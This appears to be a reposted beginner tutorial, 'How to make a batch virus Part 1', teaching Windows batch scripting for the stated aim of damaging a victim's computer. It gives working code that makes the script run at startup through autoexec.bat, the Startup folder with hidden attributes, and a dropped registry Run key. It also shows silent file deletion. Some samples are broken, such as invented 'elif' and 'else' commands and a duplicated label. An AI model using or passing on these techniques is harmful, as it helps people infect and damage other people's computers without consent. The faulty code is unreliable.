How to make a batch virus [Tutorial]

--------------------------
A noobs guide to:
How to make a batch virus
Part1
--------------------------

I made this tutorial with ms word for windows 98 users,
but most of the information here will work on all window versions.
--------------------------

This tutorial is for educational purposes only and is not to be used in any illegal way. The author of this tutorial/website is not responsible for any damage caused by this tutorial. No one is forcing you to read this so if you do not accept the terms of this disclaimer please leave the site now.
You can send this tutorial to your friends or put it on your website as long as you keep the title box with the name "netkid03" on it and do not modify it. Use it for to educate you and others in computers, and don’t use it in any other way.
--------------------------

Introduction

Ok, so you want to make a virus? Well batch is the easiest language to use. Below is a definition of batch and virus so you know exactly what this tutorial is about.

http://www.webopedia.com/TERM/B/batch_file.html

“A file that contains a sequence, or batch, of commands. Batch files are useful for storing sets of commands that are always executed together because you can simply enter the name of the batch file instead of entering each command individually.
In DOS systems, batch files end with a.BAT extension. For example, the following DOS batch file prints the date and time and sets the prompt to GO>:
date
time
prompt [GO>]

Whenever you boot a DOS -based computer, the system automatically executes the batch file named AUTOEXEC.BAT, if it exists.

Many operating systems use the terms command file or shell script in place of batch file.”

http://www.webopedia.com/TERM/v/virus.html

“A program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes. Viruses can also replicate themselves. All computer viruses are manmade. A simple virus that can make a copy of itself over and over again is relatively easy to produce. Even such a simple virus is dangerous because it will quickly use all available memory and bring the system to a halt. An even more dangerous type of virus is one capable of transmitting itself across networks and bypassing security systems.
Since 1987, when a virus infected ARPANET, a large network used by the Defence Department and many universities, many antivirus programs have become available. These programs periodically check your computer system for the best-known types of viruses.
Some people distinguish between general viruses and worms. A worm is a special type of virus that can replicate itself and use memory, but cannot attach itself to other programs.”

So now you know what a batch file is and what a virus is I will explain what a batch virus is.
“A batch virus is a simple program that uses dos commands and runs in a dos prompt window. It is run as soon as the user opens it and can be set to run when your victim starts up their p.c. It causes damage to the victims computer and in some cases can spread to other computers.”

From the Beginning

Ok in this I will describe some basic dos commands and how to use them. Firstly open a text editor (I think notepad is the best text editor to use and it comes free with windows, click start run and type in notepad) Ok now this tool is were you will be making all your batch files from now on. If your are use to using dos then this should be easy for you as most of the commands are simply dos commands. Now type this in your text editor:
CODE
@echo off
echo Hello I’m your first batch file

Now save the file as “Untitled.bat” (you must save all your batch files as .bat for them to work).

Open the file you have just created and you should see a dos prompt box put up that says, Hello I’m your first batch file, now I’m going to explain line by line how this code works. The first line (@echo off) is used to turn echo off which basically means it doesn’t display everything else that is going on but just shows things you have chosen to display on screen. You may be wondering why it’s @echo off and not just echo off well the ‘@’ turns echo off just for the line you have put it on so it stops the dos prompt box from displaying ‘echo off’ you can test this code for your self without the @echo off to see what I mean. The second line uses the ‘echo’ command to display ‘Hello I’m your first batch file to the screen’ when ever you want to display text you need to use the echo command, it will not work if you don’t! Well done you (hopefully) have just made and understood your first batch program, (that wasn’t so hard was it?)

Laying out your batch files

If your code doesn’t work but it’s laid out neatly you will be able to quickly find the problem and fix it. A good way to lay out you code is to use labels and the ‘goto’ command here is an example of how to use labels/goto command

CODE
@echo off

:start
echo hello
goto next

:next
echo this text is in the ‘next’ secton
goto end

:end
echo and this code is in the ‘end’ section

This is a simple batch file using labels and goto commands. The labels start off with colon (smile.gif and the goto commands are simply
‘goto (the name of your label)’. Note: you do not need to use a colon in goto commands. You don’t have to put your labelled sections in order, the code would work exactly the same if the ‘end’ section was in-between the ‘start’ and ‘next’ section. This is because the goto commands tell the code exactly were it should go next. It would be useful if you experiment with this and see what happens when you switch them round.

Loops

But this isn’t all you can do with the goto command. One of the main uses of labels and using the goto command are loops. Loops are pices of code that keep repeating them self in a loop. E.g.

CODE
@echo off
:loop
echo I’m a loop
goto loop


The result of that simple code is show below…



You can place anything in a loop and it will keep going forever (or until the computer crashes).


The If, elif and else commands

So now you know how to make a basic loop, but what if you wanted your loop to keep going until something happens and then do something else? Well you could place a if command in the loop, this will make the loop keep going but if something happens then it will go somewhere else in your code. So lets add to are loop we made before.

CODE
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
else
echo You don’t have autoexe
goto loop

:autoexec
echo you have autoexec
goto loop

I compiled it (made it into a batch file) and opened it and this is what happened.


If you want to use else and if combined then you can use the elif command. Here is an example:

CODE
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
elif exist c:\windows goto windows
else
echo You don’t have autoexec.bat and you don’t have a windows folder
goto loop

:autoexec
echo you have autoexec
goto loop

:autoexec
echo you have a windows folder but you don’t have autoexec.bat
goto loop


autoexec and startup

To make a successful virus it’s a good idea to make the virus startup when your victim turns on there computer. This will keep there computer infected and make it harder for them to remove. There are a number of ways you can do this. Firstly you could add your virus code to the end of autoexec.bat. In windows autoexec starts up before windows loads. There are some advantages and some disadvantages to this. The main advantage is it’s one of the first files there computer will load and the main disadvantage is it loads before windows meaning any window commands like opening up a windows file or anything like that wont work. To add your virus to the end of autoexec simply type this somewhere in your batch file:
CODE
echo copy %0 >> c:\autoexec.bat
%0 will automatically replace itself with your viruses root/name which means it doesn’t mater were your victim downloads/moves your virus will still work. If you want to copy a different batch file to autoexec then just use this code:
CODE
echo copy C:\filename\batchfile.bat >> c:\autoexec.bat
just replace “C:\filename\batchfile.bat” with the root to a batch file. If you don’t want to copy your whole batch virus to autoexec and just want to copy a few commands then you can use this code:
CODE
echo rem this is were you type what you want to copy >> c:\autoexec.bat
just replace “rem this is were you type what you want to copy” with any batch commands you want to put on the end of autoexec.

So, now you know how to add your virus to autoexec I will show you another way. Using the windows startup folder. This method also has some disadvantages and advantages. The main advantage is you can use all batch commands in it and open windows programs, the main disadvantage is it is easy for your victim to remove your virus from the startup folder as it is in there start menu. To add your code to this folder simply add this to your batch file:
CODE
copy %0 c:\windows\startm~1\Programs\StartUp\whateveryouwa nt.bat
You can change “whateveryouwant.bat” to whatever you want your file to be called and you can change c:\windows\startm~1\program\startup to anywhere else you want to copy your virus. You can also make your virus a bit more hidden by adding this
CODE
Attrib +r +h C:\windows\startm~1\program\startup\whateveryouwan t.bat
after you have copied your virus to the startup folder. This will make your virus hidden and read-only.

There is one more way that I will show you, this (in my opinion) is the best out of the three (it’s also the hardest). This method wills startup your virus when windows loads and it will do it far sneakier/effective than the other two ways I have shown you. We are going to write a key to your victims’ computers registry, which will startup your program when windows loads. To do this we are going to ‘drop’ and open a reg file in the batch file. Here is the code you will need to add to your batch file:

CODE
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\ filename\batchfile.bat" >> c:\regstart.reg
start c:\regstart.reg


This code writes two lines to a reg file which it then open and therefore edits the registry. If you are not familiar with the registry then don’t worry about this method.


Deleting files in batch

Ok, this is the first destructive command we have come across so far (you can see how this will come in handy). Simply type del and then the name/path to what you want to delete E.g.

CODE
@echo off
rem deleting ms paint
del C:\Progra~1\Accessories\MSPAINT.EXE


In this piece of code I have once again used the @echo off command (so your victim cannot see that your deleting things from hid HD). Next I have used the rem command, this is used to add a comments (remarks) these will not display on the screen (if you used the echo off command like above) and have no effect on the code. I recommend using remarks so that when you look back at your code you know what you were trying to do and it will be a lot easier to edit. The last line uses the delete command and then the path to ms paint (note: you cannot have any spaces in any paths you use. If you come across a path with spaces (like c:\program files) then change it to a six letter word with no spaces (c:\Progra) then add ~1 to the end of the 6 letter word (c:\progra~1)).

0 comments:

WordPress Theme: Blue Weed by Jai Nischal Verma | Ported by Ismail | Creative Commons Attribution-ShareAlike 2.5 License (2008).